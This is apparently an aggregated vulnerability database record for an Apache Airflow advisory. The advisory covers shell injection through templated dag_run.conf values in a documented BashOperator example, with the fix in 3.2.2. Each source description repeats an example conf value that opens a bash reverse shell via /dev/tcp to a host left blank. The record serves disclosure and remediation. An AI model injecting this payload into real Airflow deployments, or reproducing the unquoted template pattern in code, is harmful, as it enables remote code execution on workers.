{"id":"CVE-2026-42252","aliases":["BIT-airflow-2026-42252","EUVD-2026-33591","GHSA-c85c-g9wv-pph2","PYSEC-2026-184"],"status":"published","title":"Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern","description":"Apache Airflow's official documentation at `core-concepts/dag-run.html` (\"Passing Parameters when triggering Dags\") showed a verbatim `BashOperator(bash_command=\"echo value: {{ dag_run.conf['conf1'] }}\")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `\"; bash -i \u003e\u0026 /dev/tcp/.../9999 0\u003e\u00261; #\"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.","severity":{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"adp","from":"cve"},"epss":{"day":"2026-11-10","score":0.00383,"percentile":0.32679,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1336"],"published":"2026-06-01T07:51:19Z","modified":"2026-11-04T02:30:46Z","fixes":[{"ecosystem":"PyPI","package":"apache-airflow","fixed_in":["3.2.2"],"sources":["ghsa","osv"]},{"ecosystem":"Bitnami","package":"airflow","fixed_in":["3.2.2"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"apache-airflow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"fixed":"3.2.2"}]}]},{"source":"osv","ecosystem":"Bitnami","package":"airflow","ranges":[{"type":"SEMVER","events":[{"introduced":"3.0.0"},{"fixed":"3.2.2"}]}]},{"source":"osv","ecosystem":"PyPI","package":"apache-airflow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"fixed":"3.2.2"}]}],"versions":["3.0.0","3.0.1","3.0.1rc1","3.0.2","3.0.2rc1","3.0.2rc2","3.0.3","3.0.3rc1","3.0.3rc2","3.0.3rc3","3.0.3rc4","3.0.3rc5","3.0.3rc6","3.0.4","3.0.4rc1","3.0.4rc2","3.0.5","3.0.5rc1","3.0.5rc2","3.0.5rc3","3.0.6","3.0.6rc1","3.0.6rc2","3.1.0","3.1.0b1","3.1.0b2","3.1.0rc1","3.1.0rc2","3.1.1","3.1.1rc1","3.1.1rc2","3.1.2","3.1.2rc1","3.1.2rc2","3.1.3","3.1.3rc1","3.1.4","3.1.4rc1","3.1.4rc2","3.1.5","3.1.5rc1","3.1.6","3.1.6rc1","3.1.7","3.1.7rc1","3.1.7rc2","3.1.8","3.1.8rc1","3.1.8rc2","3.2.0","3.2.0b1","3.2.0b2","3.2.0rc1","3.2.0rc2","3.2.1","3.2.1rc1","3.2.1rc2","3.2.1rc3","3.2.2rc1","3.2.2rc2","3.2.2rc3"]},{"source":"osv","ecosystem":"PyPI","package":"apache-airflow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"fixed":"3.2.2"}]}],"versions":["3.0.0","3.0.1","3.0.1rc1","3.0.2","3.0.2rc1","3.0.2rc2","3.0.3","3.0.3rc1","3.0.3rc2","3.0.3rc3","3.0.3rc4","3.0.3rc5","3.0.3rc6","3.0.4","3.0.4rc1","3.0.4rc2","3.0.5","3.0.5rc1","3.0.5rc2","3.0.5rc3","3.0.6","3.0.6rc1","3.0.6rc2","3.1.0","3.1.0b1","3.1.0b2","3.1.0rc1","3.1.0rc2","3.1.1","3.1.1rc1","3.1.1rc2","3.1.2","3.1.2rc1","3.1.2rc2","3.1.3","3.1.3rc1","3.1.4","3.1.4rc1","3.1.4rc2","3.1.5","3.1.5rc1","3.1.6","3.1.6rc1","3.1.7","3.1.7rc1","3.1.7rc2","3.1.8","3.1.8rc1","3.1.8rc2","3.2.0","3.2.0b1","3.2.0b2","3.2.0rc1","3.2.0rc2","3.2.1","3.2.1rc1","3.2.1rc2","3.2.1rc3","3.2.2rc1","3.2.2rc2","3.2.2rc3"]}],"products":[{"vendor":"apache","product":"airflow"},{"vendor":"apache software foundation","product":"apache airflow"}],"references":[{"url":"https://github.com/apache/airflow/pull/64129","tags":["patch","Issue Tracking","Patch","fix","web"]},{"url":"https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7","tags":["vendor-advisory","Mailing List","Vendor Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42252","tags":["web","advisory"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/apache-airflow/PYSEC-2026-184.yaml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-c85c-g9wv-pph2","tags":["advisory"]},{"url":"https://pypi.python.org","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42252.json","tags":["advisory"]},{"url":"https://github.com/apache/airflow","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-42252","title":"Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern","description":"Apache Airflow's official documentation at `core-concepts/dag-run.html` (\"Passing Parameters when triggering Dags\") showed a verbatim `BashOperator(bash_command=\"echo value: {{ dag_run.conf['conf1'] }}\")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `\"; bash -i \u003e\u0026 /dev/tcp/.../9999 0\u003e\u00261; #\"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.","status":"published","published":"2026-06-01T07:51:19.018Z","modified":"2026-11-03T06:56:03.321Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"adp"}],"cwes":["CWE-1336"],"updated_at":"2026-11-03T07:42:18.253008Z"}],"euvd":[{"id":"EUVD-2026-33591","description":"Apache Airflow's official documentation at `core-concepts/dag-run.html` (\"Passing Parameters when triggering Dags\") showed a verbatim `BashOperator(bash_command=\"echo value: {{ dag_run.conf['conf1'] }}\")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `\"; bash -i \u003e\u0026 /dev/tcp/.../9999 0\u003e\u00261; #\"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.","status":"published","published":"2026-06-01T07:51:19Z","modified":"2026-11-03T06:56:03Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-03T08:50:00.381029Z"}],"ghsa":[{"id":"GHSA-c85c-g9wv-pph2","title":"Apache Airflow vulnerable to Improper Neutralization of Special Elements Used in a Template Engine","description":"Apache Airflow's official documentation at `core-concepts/dag-run.html` (\"Passing Parameters when triggering Dags\") showed a verbatim `BashOperator(bash_command=\"echo value: {{ dag_run.conf['conf1'] }}\")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `\"; bash -i \u003e\u0026 /dev/tcp/.../9999 0\u003e\u00261; #\"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.","status":"published","published":"2026-06-01T09:31:14Z","modified":"2026-07-09T20:52:35Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"cwes":["CWE-1336"],"updated_at":"2026-11-02T14:40:41.501474Z"}],"nvd":[{"id":"CVE-2026-42252","description":"Apache Airflow's official documentation at `core-concepts/dag-run.html` (\"Passing Parameters when triggering Dags\") showed a verbatim `BashOperator(bash_command=\"echo value: {{ dag_run.conf['conf1'] }}\")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `\"; bash -i \u003e\u0026 /dev/tcp/.../9999 0\u003e\u00261; #\"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.","status":"published","published":"2026-06-01T09:16:18.56Z","modified":"2026-11-03T07:20:16.3Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"secondary"}],"cwes":["CWE-1336"],"updated_at":"2026-11-03T11:52:48.71003Z"}],"osv":[{"id":"CVE-2026-42252","title":"Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern","description":"Apache Airflow's official documentation at `core-concepts/dag-run.html` (\"Passing Parameters when triggering Dags\") showed a verbatim `BashOperator(bash_command=\"echo value: {{ dag_run.conf['conf1'] }}\")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `\"; bash -i \u003e\u0026 /dev/tcp/.../9999 0\u003e\u00261; #\"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.","status":"published","published":"2026-06-01T07:51:19.018Z","modified":"2026-11-04T02:30:46.491304458Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"cwes":["CWE-1336"],"updated_at":"2026-11-04T02:54:44.889498Z"},{"id":"GHSA-c85c-g9wv-pph2","title":"Apache Airflow vulnerable to Improper Neutralization of Special Elements Used in a Template Engine","description":"Apache Airflow's official documentation at `core-concepts/dag-run.html` (\"Passing Parameters when triggering Dags\") showed a verbatim `BashOperator(bash_command=\"echo value: {{ dag_run.conf['conf1'] }}\")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `\"; bash -i \u003e\u0026 /dev/tcp/.../9999 0\u003e\u00261; #\"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.","status":"published","published":"2026-06-01T09:31:14Z","modified":"2026-07-09T21:11:15.115730352Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"cwes":["CWE-1336"],"updated_at":"2026-11-02T15:46:44.927642Z"},{"id":"PYSEC-2026-184","description":"Apache Airflow's official documentation at `core-concepts/dag-run.html` (\"Passing Parameters when triggering Dags\") showed a verbatim `BashOperator(bash_command=\"echo value: {{ dag_run.conf['conf1'] }}\")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `\"; bash -i \u003e\u0026 /dev/tcp/.../9999 0\u003e\u00261; #\"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.","status":"published","published":"2026-06-01T09:16:18.56Z","modified":"2026-07-13T16:45:06.354125342Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-02T15:52:55.06457Z"},{"id":"BIT-airflow-2026-42252","title":"Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern","description":"Apache Airflow's official documentation at `core-concepts/dag-run.html` (\"Passing Parameters when triggering Dags\") showed a verbatim `BashOperator(bash_command=\"echo value: {{ dag_run.conf['conf1'] }}\")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `\"; bash -i \u003e\u0026 /dev/tcp/.../9999 0\u003e\u00261; #\"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.","status":"published","published":"2026-06-05T05:40:37.445Z","modified":"2026-09-08T08:45:29.063881791Z","updated_at":"2026-11-02T15:28:28.267217Z"}]}}